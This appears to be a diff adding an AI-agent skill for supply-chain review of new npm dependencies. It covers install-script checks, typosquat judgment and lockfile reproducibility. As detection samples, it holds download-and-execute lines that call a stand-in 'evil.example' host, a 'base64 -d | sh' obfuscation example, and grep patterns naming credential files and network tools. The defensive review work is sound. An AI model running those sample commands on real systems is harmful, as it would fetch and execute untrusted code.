+ description: 'Quick PR/new-dependency supply-chain review: dangerous install/postinstall script checks, typosquat name-similarity judgment, reproducible-build verification, each with false-positive criteria and a pass / request-changes / block three-tier decision threshold. Use when reviewing a PR that introduces new dependencies or when a quick verdict on new-dependency risk is needed; ordinary code review unrelated to new dependencies does not use this skill.'
4
+ whenToUse: 'Use when reviewing a PR that adds new dependencies (package.json/lockfile changes), inspecting a package install-script behavior, judging a suspected typosquat package, or verifying build reproducibility. Plain business-code PR reviews unrelated to new dependencies do not trigger this skill.'
5
+ metadata:
6
+ pack: dsh-skill-pack-security
7
+ version: '1.3.0'
8
+ ---
9
+ # New-dependency quick review (supply-chain-review)
10
+
11
+ Goal: within PR-review time (minutes), give each new dependency a **pass / request changes / block** verdict; every verdict must carry command evidence and a false-positive exclusion note.
12
+
13
+ ## 0. Confirm the scope
14
+
15
+ ```sh
16
+ git diff <base>...HEAD --stat -- package.json pnpm-lock.yaml
17
+ git diff <base>...HEAD --unified=0 -- package.json | grep '^+'
18
+ ```
19
+
20
+ Sample output:
21
+
22
+ ```
23
+ package.json | 4 ++++
24
+ pnpm-lock.yaml | 12 ++++++++++++
25
+ + "example-lib": "^2.3.0",
26
+ ```
27
+
28
+ Criterion: no manifest change → this skill does not apply, stop; devDependencies-only changes → one tier lower overall ("does not enter production output"), but the script checks still run.
29
+ Use the PR's real `<base>` (confirm with `git merge-base <base> HEAD` first) — never guess it.
30
+
31
+ ## 1. Dangerous install-script check (block-level candidate)
32
+
33
+ For every new package run:
34
+
35
+ ```sh
36
+ npm view <package> scripts --json
37
+ ```
38
+
39
+ Sample output: `{ "postinstall": "node scripts/download.js" }`.
40
+ Dangerous-pattern list (the full version and the verification grep live in `references/install-script-checks.md`):
41
+
42
+ - `curl`/`wget`/`Invoke-WebRequest` downloading an executable and then running it;
43
+ - `base64 -d`/`eval`/`child_process.exec`/`os.system` combined with external input or an assembled payload;
44
+ - Writing into `~/.ssh`, `.npmrc`, `.gitconfig`, credentials, or global shell configuration.
45
+
46
+ Verification command (unpack and read the real content — never trust the manifest description alone):
47
+
48
+ ```sh
49
+ npm pack <package> --pack-destination .tmp
50
+ tar -xzf .tmp/<package>-<version>.tgz -C .tmp
51
+ grep -rnE '(curl|wget|base64|eval|\.ssh|npmrc)' .tmp/package/package.json .tmp/package/*.js
52
+ ```
53
+
54
+ Sample output: `.tmp/package/scripts/download.js:3:curl -sSL https://evil.example/x -o /tmp/x && chmod +x /tmp/x`
55
+ False-positive criterion: **build-toolchain install scripts are ecosystem convention** (esbuild, sharp, node-gyp, core-js, and so on) — the clearance criterion is: the script behavior matches the package's purpose **and** it does not touch user credentials or global configuration; failing either = block.
56
+ Block conditions (any one blocks): downloading and executing a binary, accessing credential files, obfuscated payloads (base64/hex assembled then eval), writing global configuration after install.
57
+ Git-install vector: when a dependency comes from a git URL (DSH git installs run `prepare` scripts), `npm view` cannot see its scripts — locate it with `git grep -nE 'git\+https?://' -- package.json` first, then `git clone --depth 1 <url> .tmp/gitdep` and `grep -nE '"(prepare|preinstall)"' .tmp/gitdep/package.json`; `prepare` runs at install time, so treat it like postinstall.
58
+ Package-body anomalies: `npm view <package> dist.fileCount dist.tarball --json`. Criterion: an abnormally large fileCount (for example > 1000) or a tarball host that is not `registry.npmjs.org` → record and review manually.
59
+
60
+ ## 2. Typosquat check
61
+
62
+ For every new package name:
63
+
64
+ ```sh
65
+ npm view <package> time.created
66
+ npm view <package> --json | grep -E '"downloads"|"weekly"'
67
+ ```
68
+
69
+ Sample output: `2026-08-10T02:00:00.000Z` (created two weeks ago); the downloads field may be absent (some registries do not return it — treat a missing value as "unknown", never conclude from it alone).
70
+ Name comparison: compare edit distance against popular packages one by one (confusion-pair list and the command live in `references/typosquat-and-reproducibility.md`), e.g. `lodahs` vs `lodash`, `react-domm` vs `react-dom`.
71
+ Criterion: **edit distance ≤ 2 from a popular package AND short creation time / extremely low downloads, both at once → block**; only one of them → request changes and re-check with the `dependency-audit` poisoning checklist.
72
+ False-positive criterion: an obscure same-named package from a completely unrelated domain is not killed by "low downloads" alone — "name similarity + suspicious context" must hold together.
73
+
74
+ ## 3. Reproducible-build verification
75
+
76
+ ```sh
77
+ git ls-files -- '*lock*' | head -n 5
78
+ grep -nE 'frozen-lockfile|npm ci|--frozen' .github/workflows/* 2>/dev/null
79
+ grep -c 'integrity' <lockfile>
80
+ pnpm install --frozen-lockfile
81
+ ```
82
+
83
+ Sample output: one lockfile path line; the CI hit line `install: pnpm install --frozen-lockfile`; an integrity count of `1234`.
84
+ Criterion (three factors, see `references/typosquat-and-reproducibility.md`):
85
+ - Lockfile committed + CI frozen install + integrity fields complete = pass;
86
+ - Any one missing = request changes;
87
+ - No lockfile **and** more than 20 new direct dependencies = block.
88
+ - A failing `pnpm install --frozen-lockfile` goes to `dependency-audit` Section 5 for the sample and handling; a platform difference never justifies turning off the frozen switch.
89
+ - CI-configuration review (required when the PR touches workflows): `git diff <base>...HEAD -- .github/workflows | grep -nE '^\+.*uses:'` — a new/changed `uses: <owner>/<repo>@v<number>` not pinned to a commit SHA (`@<40-hex>`) → request changes (tags can be moved); read-only third-party actions that never touch secrets are recorded, not blocked.
90
+ - Lockfile growth review: compare `git diff <base>...HEAD -- <lockfile> | grep -cE '^\+'` with the number of new direct dependencies; 1 declared dependency but +500 lines → record and inspect the diff manually.
91
+
92
+ ## 4. Verdict and comment template
93
+
94
+ The three-tier definitions, trigger conditions, and PR-comment templates live in `references/typosquat-and-reproducibility.md`.
95
+ Every verdict must include: evidence command + output summary + false-positive exclusion note ("I excluded X because <evidence>").
@@ -0,0 +1,34 @@
1
+ # Dangerous install-script patterns (supply-chain-review/references/install-script-checks.md)
2
+
3
+ The complete dangerous-pattern table and verification commands behind Section 1 of the main file.
4
+
5
+ ## The full dangerous-pattern table
6
+
7
+ | Pattern | Example | Verification grep | Tier |
8
+ |---|---|---|---|
9
+ | Download and execute a binary | `curl -sSL https://x/y -o /tmp/x && chmod +x /tmp/x && /tmp/x` | `grep -rnE '(curl|wget|Invoke-WebRequest)' <unpack dir>` | Block |
10
+ | Obfuscated payload | `echo "aGVsbG8=" | base64 -d | sh`, hex assembled then `eval` | `grep -rnE '(base64|eval|child_process|os\.system|fromCharCode)' <unpack dir>` | Block |
11
+ | Credential-file access | Reading/writing `~/.ssh`, `.npmrc`, `.gitconfig`, `credentials` | `grep -rnE '(\.ssh|npmrc|gitconfig|credential)' <unpack dir>` | Block |
12
+ | Global configuration writes | Writing `~/.bashrc`, `~/.zshrc`, `/etc/profile.d` | `grep -rnE '(bashrc|zshrc|profile\.d)' <unpack dir>` | Block |
13
+ | git dependency prepare/preinstall | The dependency is a `git+https://…` URL and declares a `prepare` script (runs at install time; invisible to `npm view`) | Locate with `git grep -nE 'git\+https?://' -- package.json`, then clone and `grep -nE '"(prepare|preinstall)"' .tmp/gitdep/package.json` | Same tier as postinstall (block-level candidate) |
14
+ | Calls to domains unrelated to the purpose | A markdown parser calling `telemetry.example.org` | `grep -rnE 'https?://' <unpack dir> | grep -v <package homepage domain>` | Record (hand to dependency-audit poisoning item 4) |
15
+
16
+ Unified verification command (run after unpacking):
17
+
18
+ ```sh
19
+ npm pack <package> --pack-destination .tmp
20
+ tar -xzf .tmp/<package>-<version>.tgz -C .tmp
21
+ grep -rnE '(curl|wget|Invoke-WebRequest|base64|eval|child_process|os\.system|\.ssh|npmrc|gitconfig|bashrc|zshrc)' .tmp/package/
22
+ ```
23
+
24
+ Criterion: every hit needs a human context read; "block" applies only to the first four patterns, the fifth is recorded first.
25
+
26
+ ## Ecosystem-convention allowlist (false-positive criterion)
27
+
28
+ The install scripts of esbuild, sharp, node-gyp, core-js, puppeteer (optional), canvas, and similar download/compile **in line with the package's purpose** and **do not touch credentials or global configuration** — clearance requires both facts at once.
29
+ Criterion drill: `sharp`'s `install` downloads prebuilt libvips = purpose-consistent + no credential touch → clear; any package downloading `/tmp/x` then `chmod +x` and running it = purpose-unrelated → block.
30
+
31
+ ## Output requirement
32
+
33
+ For every new package that has an install script, output one conclusion line:
34
+ `<package>@<version>: <script name> = <one-sentence behavior> → clear/record/block (reason: <purpose consistency>, <credential/global-config touch>)`